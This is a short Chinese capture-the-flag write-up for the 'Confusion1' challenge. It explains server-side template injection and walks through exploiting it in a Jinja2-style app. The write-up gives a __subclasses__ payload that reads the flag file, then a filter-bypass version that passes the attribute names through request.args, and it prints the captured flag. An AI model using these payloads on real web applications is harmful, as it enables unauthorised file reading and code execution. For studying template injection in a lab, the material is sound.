前言
SSTI漏洞(Server Side Template Injection,服务端模板注入漏洞)是一种 web 应用程序中的安全漏洞,它允许攻击者通过在模板中注入恶意代码,执行服务器端的任意代码。模板通常用于 web 应用程序中的动态内容生成,这些模板经常包含逻辑控制语句和变量插入。攻击者可以利用模板中缺乏输入验证和过滤来注入任意的代码,从而实现任意代码执行,甚至是远程命令执行。SSTI漏洞是一种危险性较高的漏洞,因为攻击者可以完全控制服务器端执行的代码和结果。
一、Confusion1
1.题目
2.答题
login.php中Ctrl+U查看页面源码发现flag路径
login.php{{1+3}}测试ssti漏洞
SSTI常用的注入
__class__() 返回对象的类
__base__()/__mro__() 返回类所继承的基类
__subclasses__() 返回继承类的所有子类
测试pyaload:
{{"".__class__.__mro__[2].__subclasses__()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt").read()}}
发现被过滤了
参数替换payload:
{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?&a=__class__&b=__mro__&c=__subclasses__&d=read
得到flag:cyberpeace{8542f410d961a14be7aa7778e0f366a4}